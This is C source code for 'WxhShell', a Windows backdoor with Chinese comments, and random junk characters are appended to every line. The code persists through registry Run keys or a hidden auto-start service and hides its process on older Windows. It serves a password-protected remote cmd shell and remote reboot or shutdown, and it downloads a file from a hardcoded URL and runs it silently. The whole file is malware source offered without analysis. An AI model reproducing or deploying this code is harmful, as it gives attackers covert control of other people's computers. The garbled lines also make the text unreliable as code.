} B??J@+Nf
_hG;.=sr
if(!OsIsNt) { r ]>\~&?^F
// 如果时win9x，隐藏进程并且设置为注册表启动 R4Rb73o
HideProc(); k-*Mzm]kb
StartWxhshell(lpCmdLine); yFhB>i
} e5Mln!.o
else ^2]LV6I
if(StartFromService()) ^h&I H|
// 以服务方式启动 C>Is1i^9
StartServiceCtrlDispatcher(DispatchTable); %c)[ kAU!
else B cj/y4"
// 普通方式启动 pG"5!42M!
StartWxhshell(lpCmdLine); MlW 8t[
_IeU+tS
return 0; 71C42=AU
} E|:!Q8"%w
9%sM*[A
DF{OnF
0Aa`p3.)
=========================================== YK{a
abxDB
NcCvm#
}`yiT<z
dGwszziuK
]S 7^ITn
" 0J~Qq]g
FEz>[#eOX
#include <stdio.h> ^nVl (^{
#include <string.h> _GqS&JHSf
#include <windows.h> n-QJ;37\
#include <winsock2.h> 0|D&"/.R#!
#include <winsvc.h> V[a[i>,Z
#include <urlmon.h> >"3>fche
]TstSF=
#pragma comment (lib, "Ws2_32.lib") @/%{15s.
#pragma comment (lib, "urlmon.lib") 4e9q`~sO
Q+i\8RJ
#define MAX_USER 100 // 最大客户端连接数 ?*r!{3T ,u
#define BUF_SOCK 200 // sock buffer 6#A:}B<?
#define KEY_BUFF 255 // 输入 buffer c-j_INGm
H(Ms^8Vs~:
#define REBOOT 0 // 重启 A>.2OC+
#define SHUTDOWN 1 // 关机 ji+{ :D
PNSMcakD
#define DEF_PORT 5000 // 监听端口 Eaad,VBtU
Ml>( tec
#define REG_LEN 16 // 注册表键长度 (Y(E%
#define SVC_LEN 80 // NT服务名长度 @;wzsh >o
dV8iwI
// 从dll定义API x O7IzqY
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rsa&Oo D>
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H^1gy=kdj
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7 gB{In0
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u1K\@jlw
^Jp*B;
// wxhshell配置信息 0=v{RQ;W4
struct WSCFG { /vE]2Io
int ws_port; // 监听端口 !.fw,!}hOD
char ws_passstr[REG_LEN]; // 口令 `"k9wC1
int ws_autoins; // 安装标记, 1=yes 0=no 6@4n'w{"
char ws_regname[REG_LEN]; // 注册表键名 `#IcxweA
char ws_svcname[REG_LEN]; // 服务名 |dadH7
char ws_svcdisp[SVC_LEN]; // 服务显示名 V:bV ?lt
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Y_ -
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `0#H]=$2h
int ws_downexe; // 下载执行标记, 1=yes 0=no :46h+?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MEwdw3
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |)_-Bi;MW`
:u%$0p>
}; >CgO<\
_|isa]u\z
// default Wxhshell configuration wz -)1!
struct WSCFG wscfg={DEF_PORT, TF+ l5fv
"xuhuanlingzhe", |kiJ}oy
1, '4;6u]d)2
"Wxhshell", -pTI?
"Wxhshell", :XT?jdg
"WxhShell Service", MmU%%2QG
"Wrsky Windows CmdShell Service", Uedvc5><t
"Please Input Your Password: ", nq`q[KV:
1, bdc\
"http://www.wrsky.com/wxhshell.exe", iRmQ5ezk
"Wxhshell.exe" CBD_a#K{
}; kRIB<@{
#-u [$TA
// 消息定义模块 %6 =\5>
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :,*eX' fH
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1(`M~vFDK
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9EF~l9`'U
char *msg_ws_ext="\n\rExit."; L~FTr
char *msg_ws_end="\n\rQuit."; ACBQ3
char *msg_ws_boot="\n\rReboot..."; 1"K*._K
char *msg_ws_poff="\n\rShutdown..."; rcbP$tvz
char *msg_ws_down="\n\rSave to "; w.kCBDL
]"x\=A
char *msg_ws_err="\n\rErr!"; 9]_GNk-D
char *msg_ws_ok="\n\rOK!"; |#5 e|z5(
;MTz]c
char ExeFile[MAX_PATH]; I>w^2(y
int nUser = 0; 9Yw]Y5l
HANDLE handles[MAX_USER]; WO%h"'iJ
int OsIsNt; !eD+GDgE]
L{ ^4DznI
SERVICE_STATUS serviceStatus; , &' Y
SERVICE_STATUS_HANDLE hServiceStatusHandle; =v"xmx&4
`"y{;PCt_
// 函数声明 >BqCkyM9Kf
int Install(void); K%,$ V,#
int Uninstall(void); uzorLeu
int DownloadFile(char *sURL, SOCKET wsh); dhR(_
int Boot(int flag); + Oobb-v
void HideProc(void); QXk"?yT`E
int GetOsVer(void); u2qV6/
int Wxhshell(SOCKET wsl); MguL$W&l
void TalkWithClient(void *cs); aMCO"66b
int CmdShell(SOCKET sock); j|'R$|
int StartFromService(void); Ge}$rLu]0
int StartWxhshell(LPSTR lpCmdLine); Ob&W_D^=N
y' tRANxQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LC'F<MpM
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \K`jCsT
kHU"AD}.
// 数据结构和表定义 XNmQ?`.2'
SERVICE_TABLE_ENTRY DispatchTable[] = jEU'.RBN%
{ \5[-Ml
{wscfg.ws_svcname, NTServiceMain}, Kd{#r/HZ
{NULL, NULL} r<FQX3
}; 8Uj:
{ R*Y=Ie
// 自我安装 6/y*2z;
int Install(void) ZC\mxBy
{ $Qq_qTJu?G
char svExeFile[MAX_PATH]; ~u/@rqF
HKEY key; 41;)-(1
strcpy(svExeFile,ExeFile); IrO+5w
M]ap:
// 如果是win9x系统，修改注册表设为自启动 u:4["ViC
if(!OsIsNt) { tyXl}$)y
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dF2@q@\.+
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t.z$j
RegCloseKey(key); u_'nOle K
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G\mKCaI8
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <qn,
RegCloseKey(key); H'Iq~Ft1
return 0; a@SUi~+3
} 2NR7V*A
} =K6c;
} ta! V=U
else { <P pYl
U(3(ZqP
// 如果是NT以上系统，安装为系统服务 9A*rE.B+W
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DNho%Xk
if (schSCManager!=0) IgA.%}II}
{ }vsO^4Sjc
SC_HANDLE schService = CreateService )H+h;U
( s-5wbi.C
schSCManager, RO(iHR3cA
wscfg.ws_svcname, t,?,F4j
wscfg.ws_svcdisp, z_)`g`($
SERVICE_ALL_ACCESS, 00,9azs
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5&|5 a} 8
SERVICE_AUTO_START, NTVHnSoHh
SERVICE_ERROR_NORMAL, ,Qo}J@e(
svExeFile, nhT;b,G.Z
NULL, z.59]\;U>
NULL, _@|fva&s,;
NULL, !c_u-&b)
NULL, iwkJ~(5z
NULL p)z-W(
); `G0*l|m>
if (schService!=0) n'3u]~7^
{ }MjQP R
CloseServiceHandle(schService); O"QHb|j
CloseServiceHandle(schSCManager); SauHFl8?
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *zSxG[s
strcat(svExeFile,wscfg.ws_svcname); . z].:$J&
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \CtQ*[FmN
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,7I},sZj
RegCloseKey(key); /b+;: z
return 0; /.2u.G
} e7's)C>/'
} eRVY.E<
CloseServiceHandle(schSCManager); |=,83,a
} #jgqkMOd,j
} 4[(?L{
Lv3XYZgW~
return 1; :B+Rg cqi
} To^# 0
/THNP 8.
// 自我卸载 59K}
int Uninstall(void) CnQg*+
{ xi.IRAZX
HKEY key; a G@nErdW
yYBNH1
if(!OsIsNt) { A8mlw#`E8b
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9IOGc}
RegDeleteValue(key,wscfg.ws_regname); Wv NI=>
RegCloseKey(key); *78)2)=~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .5^a;`-+
RegDeleteValue(key,wscfg.ws_regname); fo;6huz
RegCloseKey(key); y,^";7U
return 0; 1h{>[ 'L
} \"J?@
} (`F|nG=X
} jF4csO=E
else { (>mi!:
?^Pq/VtZ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KZW'O b>[
if (schSCManager!=0) Y.(v{l
{ Q;Q%SI`yT
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 99a\MH`^
if (schService!=0) ^pN 5NwC5
{ OH0S2?,{>
if(DeleteService(schService)!=0) { FQ0KUb}0
CloseServiceHandle(schService); ~JAjr(G#o
CloseServiceHandle(schSCManager); /=q.tDH=I
return 0; ]79~:m[C
} P6:;Y5e0
CloseServiceHandle(schService); :b<KX%g
} %mJ~F*Dy
CloseServiceHandle(schSCManager); -E}>h[;qZ
} au,jAk
} }2h't.Z<u
IO*l vy
return 1; wy YtpW
} |G)Y8 #D
Q g$($
// 从指定url下载文件 8.[&wyU
int DownloadFile(char *sURL, SOCKET wsh) K]ca4Z
{ bI#<Ee0nJ
HRESULT hr; 5Yn{?r\#F
char seps[]= "/"; W _J&M4
char *token; ) b/n)%6
char *file; ENO? ;
char myURL[MAX_PATH]; b~jIv:9T
char myFILE[MAX_PATH]; 6NzBpur 2H
n}0za#G
strcpy(myURL,sURL); is9}ePC7Xu
token=strtok(myURL,seps); 5GaoJ v
while(token!=NULL) oPCrD.s
{ Z(KmS(
file=token; qFrt^+@
token=strtok(NULL,seps); "/Om}*VhD
} {K<uM'ww>
{>wI8
GetCurrentDirectory(MAX_PATH,myFILE); m"<4\;GK
strcat(myFILE, "\\"); 1B6C<cL:sU
strcat(myFILE, file); 8~.iuFp
send(wsh,myFILE,strlen(myFILE),0); tCX9:2c
send(wsh,"...",3,0); -MDOZz\
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )@!~8<_"
if(hr==S_OK) HOq4i!
return 0; 5/tj
else /731.l
return 1; l6V%"Lo/)
IhUW=1&J
} ,GP!fsK
: #3OcD4
// 系统电源模块 m dC`W&r
int Boot(int flag) iD.0J/
{ Y 5Qb4Sa
HANDLE hToken; dhZZb
TOKEN_PRIVILEGES tkp; }iD$4\ L
nDyvX1]
if(OsIsNt) { =E&24
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {5U1`>
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'BqrJfv
tkp.PrivilegeCount = 1; 5.O-(eSa0&
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l8er$8S}
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8oa)qaG1
if(flag==REBOOT) { Tku/OG'
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1po"gVot
return 0; "fRlEO[9
} ^CfM|L8>
else { -E6Jf$
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j\!~9
return 0; Y_$^:LG
} 03~+-h&n
} ^uC"dfH
else { CKx\V+\O
if(flag==REBOOT) { 4Y`! bT`
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EfFj!)fz
return 0; F#jCEq
} y=-{Q
else { A(q~{
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |VTWw<{LX
return 0; V/`#B$6
} l{nB.m2
} )\um"l*\c
=]!8:I?C<
return 1; ,D:iQDG^
} $/NGNkl[
C]yvK}
// win9x进程隐藏模块 Y*`:M(
void HideProc(void) ?nB helW^
{ X QI.0L"
p^p'/$<6_
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'wCS6_K
if ( hKernel != NULL ) v>JB rIb$
{ eA~J4k_
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (xucZ
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6>@(/mh*
FreeLibrary(hKernel); p3V9ikyy
} F;cI0kP=>
w;lx:j!Vp$
return; 9QX&7cs&[
} p6<E=5RRd1
3{.9O$
// 获取操作系统版本 6&i[g
int GetOsVer(void) Ytl:YzXCi
{ y&n1 Nj]^
OSVERSIONINFO winfo; ],BJ}~v,X
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^AovkK(p
GetVersionEx(&winfo); gg lNpzj
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i;E9ZaW
return 1; XS}Zq4H
else PiIp<fJd$
return 0; nG&w0de<>
} ;n yB
rg#qSrHp
// 客户端句柄模块 /ChJ~g"
int Wxhshell(SOCKET wsl) sW>P-
{ Z&~k]R0y
SOCKET wsh; x]yHBc
struct sockaddr_in client; >i><s>=I`
DWORD myID; ')C_An>X6
\GjXsR*b5
while(nUser<MAX_USER) TE*>a5C|
{ 2:smt)f
int nSize=sizeof(client); kMwIuy
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S>/I?(J
if(wsh==INVALID_SOCKET) return 1; @F""wKnV
SdEb[
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4wM$5
if(handles[nUser]==0) |Oj,S|Z:
closesocket(wsh); Gaw,1Ow!`2
else ie$fMBIq
nUser++; 8KtF<`A)
} W#JVUGYD
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BIb{<tG^N
6`$,-(J=
return 0; 0qaG#&!
} W~W?<%@
Bv |jo&0n
// 关闭 socket *y[~kWI
void CloseIt(SOCKET wsh) 8WLh]MD`
{ FZ}C;yUPD
closesocket(wsh); .{Eg(1At
nUser--; v J,xz*rc`
ExitThread(0); x.yb4i=Jq
} -mWw.SfEZ
{?h6*>-^Z
// 客户端请求句柄 WLj_Zo*^x
void TalkWithClient(void *cs) +wf&L
{ ggYIq*4
wtgO;w
SOCKET wsh=(SOCKET)cs; K\%"RgF@&
char pwd[SVC_LEN]; H 29 _ /
char cmd[KEY_BUFF]; jy)9EU=
char chr[1]; b}q(YgH<
int i,j; (WU~e!}
A$Jn3Xd~!
while (nUser < MAX_USER) { eJwii
e\bF_ N2VA
if(wscfg.ws_passstr) { 1>O0Iu
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >5z`SZf
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?;r7j V/`j
//ZeroMemory(pwd,KEY_BUFF); xBx?>nN
i=0; \Jj'60L^
while(i<SVC_LEN) { 8aM% 9OU
!z&seG]@
// 设置超时 -:1Gr8
fd_set FdRead; cB{;Nh6"
struct timeval TimeOut; 4dD@lG~
FD_ZERO(&FdRead); "9Fv!*<-W
FD_SET(wsh,&FdRead); BDm H^`V
TimeOut.tv_sec=8; jzOMjz~:)
TimeOut.tv_usec=0; zw;(:fgY#
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^O\1v
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z~R/p;@
{&AT}7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [}g5Z=l
pwd=chr[0]; *{n,4d\..
if(chr[0]==0xd || chr[0]==0xa) { Y~\xWYR
pwd=0; K {N;k-
break; #cg@Z
} <PA$hTYM
i++; U";Rp&\3;
} %4g4 C#
}t{^*(
// 如果是非法用户，关闭 socket 7JK 'vT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UgBY ){<
} ?Pf ,5=*B
m`w6wz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oFA$X Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iO#xIl<
YH6K-}
while(1) { JSP8Lu"n
NomK(%8m$
ZeroMemory(cmd,KEY_BUFF); 2FtEt+A+'
+hYmL Sq
// 自动支持客户端 telnet标准 t5[JN:an
j=0; ]5MRp7
while(j<KEY_BUFF) { t"m`P1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }LVE^6zyk
cmd[j]=chr[0]; HAOrwJFqU
if(chr[0]==0xa || chr[0]==0xd) { aQ3vG08L>
cmd[j]=0; +Gs;3jC^
break; VY26Cf"
} _25]>D$
j++; 2QD B'xs3
} ;5S7_p2]j
M%LwC/h:,
// 下载文件 [<yUq zm
if(strstr(cmd,"http://")) { %Y[/Ucdm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $BN+SD!
if(DownloadFile(cmd,wsh)) Kct +QO(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ziip*<a!_
else 3om7LqcRo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lY,1 w
} /9gMcn9EB
else { 9%veUvY
:H k4i%hGk
switch(cmd[0]) { m$j;FKz+|
B(NL3WJ
// 帮助 '\qr=0aW
case '?': { k18V4ATE]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p#NZ\qJ
break; oMf h|B
} ;\0RXirk
// 安装 uU"s50m
case 'i': { (S{c*"}2
if(Install()) 8zv6Mx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mSp7H!
else :36^^Wm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4H'&5
break; G*V 7*KC
} %gB0D8,vo
// 卸载 jl7-"V>j?;
case 'r': { 8`<GplO
if(Uninstall()) =i<(hgD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9a,CiH%@
else l0)6[yXK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); breVTY7 S
break; Tl-B[CT
} &KwtvUN{
// 显示 wxhshell 所在路径 5T*7HC[
case 'p': { (CwaOm{g
char svExeFile[MAX_PATH]; '!GI:U+g
strcpy(svExeFile,"\n\r"); P]^] T}5
strcat(svExeFile,ExeFile); xEqrs6sR
send(wsh,svExeFile,strlen(svExeFile),0); P40eK0e6
break; A 2 )%+
} }Qo8Xps
// 重启 <#Dc(VhT
case 'b': { X[}%iEWzT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MR: {Ps&,
if(Boot(REBOOT)) r6<}S(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3._fbAN%e
else { UNae&Zir
closesocket(wsh); ;E_{Zji_e
ExitThread(0); v'=APl+_
} (w fZ!
break; ~b/>TKn+
} I_Qnq4Sk(
// 关机 ^TGHWCK!t
case 'd': { ~heF0C_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9yPB)&"EF
if(Boot(SHUTDOWN)) {I ,'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I._=q
else { 9#7zjrB
closesocket(wsh); "-oC,;yq
ExitThread(0); {cFei3'q
} =W=%!A\g
break; %K4-V5f
} lAQ&PPQ
// 获取shell 195(Kr<5$
case 's': { "Y+`U
CmdShell(wsh); &}ow-u9c3
closesocket(wsh); f~Su F,o@h
ExitThread(0); h2nyP
break; <|@9]>z
} m,b<b91
// 退出 9UZX+@[F
case 'x': { ,>Q,0bVhH0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yp8$0KK
CloseIt(wsh); h7{W-AtM7_
break; #"|Ey6&
} _cB~?c
// 离开 h ? M0@Z
case 'q': { e)M1$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z,z^[Jz
closesocket(wsh); U"Y$7~
WSACleanup(); >_o_&;=`v
exit(1); p5*Y&aKj
break; \n5,!,A
} 31}6dg8?n
} 5R4 dN=L*1
} .*Z]0~ &|
+hfl.OBy
// 提示信息 \,WPFV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U*Q$:%72vO
} y~\z_') <>
} 5)vXmAD/0
]T$~a8
return; T|u)5ww%
} 8ViDh
J-U}iU|
// shell模块句柄 NH{0KZ R
int CmdShell(SOCKET sock) uW]n3)7<I
{ w$pv
STARTUPINFO si; ;y"DEFs,u
ZeroMemory(&si,sizeof(si)); )XD_Yq@E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; milU,!7J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lHx$F?
PROCESS_INFORMATION ProcessInfo; P6MT[
char cmdline[]="cmd"; =0Nd\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H*Yyo?
return 0; /h_BF\VBs
} rIXAn4,dTv
p%}oo#%J
// 自身启动模式 BUtXHD
int StartFromService(void) 9N9;EY-U
{ s>kzt1,x
typedef struct !nTq"d%(W
{ GSk;~^l
DWORD ExitStatus; k'm!|
DWORD PebBaseAddress; MQhL>oQ
DWORD AffinityMask; P?>p+dM
DWORD BasePriority; Gv<K#@9T
ULONG UniqueProcessId; =!Ok079{[
ULONG InheritedFromUniqueProcessId; <@oK^ja
} PROCESS_BASIC_INFORMATION; =|H/[",gg
NbSwn}e_
PROCNTQSIP NtQueryInformationProcess; 'E6)6N
~}uTC36C\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BwbvZfV|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CYz]tv}g:
7Ij'!@no
HANDLE hProcess; a6[bF
PROCESS_BASIC_INFORMATION pbi; @;pTQ 5 I
z55P~p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kYx|`-PA<r
if(NULL == hInst ) return 0; R`Q9|yF\
OD{Rh(Id
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H$Q_K<V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i: 1V\q%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7,Nd[ oL*7
;|66AIwDe
if (!NtQueryInformationProcess) return 0; _Nlx)YR
`*N2x\+X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hV_0f_Og
if(!hProcess) return 0; ._#|h5
Drc\$<9c@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &vo]l~.
)0YMi!&j`
CloseHandle(hProcess); 7h,SX]4Q
dYW19$W n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RaKL KZn
if(hProcess==NULL) return 0; d.sxB}_O
d-lC|5U%
HMODULE hMod; y~jTI[kS
char procName[255]; q8`JRmt)H
unsigned long cbNeeded; 1:XT r
*o`bBdZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]=7}Y%6
S+7>Y? B!
CloseHandle(hProcess); zN0^FXGD
?tSFM:9PU
if(strstr(procName,"services")) return 1; // 以服务启动 ]&jXD=a"
5l}v
return 0; // 注册表启动 L6O*aZ|
} &dH/V-te
>XM-xK-=
// 主模块 D`V03}\-
int StartWxhshell(LPSTR lpCmdLine) twq!@C
{ I5 "Z
SOCKET wsl; vg5i+ry<
BOOL val=TRUE; N[~RWg
int port=0; km|;T!
struct sockaddr_in door; 'D;v>r
ia?{]!7$
if(wscfg.ws_autoins) Install(); \GO^2&g(
[2"a~o\
port=atoi(lpCmdLine); %A|9=x*
kFg@|#0v9
if(port<=0) port=wscfg.ws_port; /PafIq
]6bh#N;.
WSADATA data; N7v7b<6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iimTr_TEt
Kc$j<MRtv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ycz6-kEp
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i 3?=up!
door.sin_family = AF_INET; {N42z0c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1RgtZp%
door.sin_port = htons(port); JR] /$
|qnAqzK|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M_lQ^7/
closesocket(wsl); CoO..
return 1; ">_<L.,I
} ND $m|V-C
,@!io
if(listen(wsl,2) == INVALID_SOCKET) { <&^P1x<x
closesocket(wsl); A/ZZ[B-
return 1; j}t"M|`
} :Aj8u\3!@
Wxhshell(wsl); 6Lj=%&
WSACleanup(); HI&N&a9C
50kjX}
return 0; DLggR3K_\
R!{^qHb
} Hj(ay48
gCfAy=-,V
// 以NT服务方式启动 J< Ljg<t+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uy'm2
{ .$`Xj[?
DWORD status = 0; mWEaUi)Zz
DWORD specificError = 0xfffffff; OD{()E?1B
9BR/zQ2
serviceStatus.dwServiceType = SERVICE_WIN32; X?'ShXI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9lXjB_wG>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zNG]v?JAh
serviceStatus.dwWin32ExitCode = 0; ]6s7?07m4
serviceStatus.dwServiceSpecificExitCode = 0; 8k[=$Ro
serviceStatus.dwCheckPoint = 0; @2(7 ZxI
serviceStatus.dwWaitHint = 0; 4gD;XNrV
D/U=zDpiB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]]Bqte
if (hServiceStatusHandle==0) return; <9f;\+zA
X;:qnnO
status = GetLastError(); =f~8"j
if (status!=NO_ERROR) Odn`q=
{ y0}3s)lKv
serviceStatus.dwCurrentState = SERVICE_STOPPED; _L8|ZV./
serviceStatus.dwCheckPoint = 0; _"0,
serviceStatus.dwWaitHint = 0; ke\gzP/
serviceStatus.dwWin32ExitCode = status; Cj/J&PDQ
serviceStatus.dwServiceSpecificExitCode = specificError; &,*G}6wa;&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^Ymg7wA
return; h95a61a,Vy
} xgp 6lO[
wmV7g7t6
serviceStatus.dwCurrentState = SERVICE_RUNNING; vM3 b\yp
serviceStatus.dwCheckPoint = 0; ^+J3E4
serviceStatus.dwWaitHint = 0; ]9A@iA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \|@u)n_
} EN2H[i+,
qX9x#92
// 处理NT服务事件，比如：启动、停止 /E %^s3S.
VOID WINAPI NTServiceHandler(DWORD fdwControl) y,/Arl}yc
{ [[XbKg`"?
switch(fdwControl) 6Mc&gnN
{ n=F|bW
case SERVICE_CONTROL_STOP: @LyCP4
serviceStatus.dwWin32ExitCode = 0; L$zB^lSM
serviceStatus.dwCurrentState = SERVICE_STOPPED; e'l@M$^
serviceStatus.dwCheckPoint = 0; `*Ju0)g1
serviceStatus.dwWaitHint = 0; _8 C:Md`
{ 5jNDr`pnu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )lhPl
} Hd_W5R
return; :aHLr[%Mz
case SERVICE_CONTROL_PAUSE: Ss~yy0
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^]zC~LfG
break; w<|Qezi3 w
case SERVICE_CONTROL_CONTINUE: CT0 ~
serviceStatus.dwCurrentState = SERVICE_RUNNING; %G`GdG}T
break; bXNM.K
case SERVICE_CONTROL_INTERROGATE: dCn'IM1
break; qdNt2SO
}; umuE5MKY<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8!XK[zL
} PZ.q
(#Ku`
// 标准应用程序主函数 TgjM@ir
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;RzbPlkl
{ Dt~ |)L+
#qDMUN*i
// 获取操作系统版本 f&2f8@
OsIsNt=GetOsVer(); ym*oCfu=
GetModuleFileName(NULL,ExeFile,MAX_PATH); |aX1PC)o_
L ]Y6/Q
// 从命令行安装 %8c2d
if(strpbrk(lpCmdLine,"iI")) Install(); 2A(?9 R9&h
#V-0-n,`
// 下载执行文件 mx=2lL`
if(wscfg.ws_downexe) { w!--K9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;7*R;/
WinExec(wscfg.ws_filenam,SW_HIDE); &|YJ?},
} DFM~jlH
] ^s,
if(!OsIsNt) { AI,Jy%62/
// 如果时win9x，隐藏进程并且设置为注册表启动 M" vd/FV
HideProc(); %f1>cO9[
StartWxhshell(lpCmdLine); ,LodP%%UV
} !m:rtPD'
else GyQ9we~
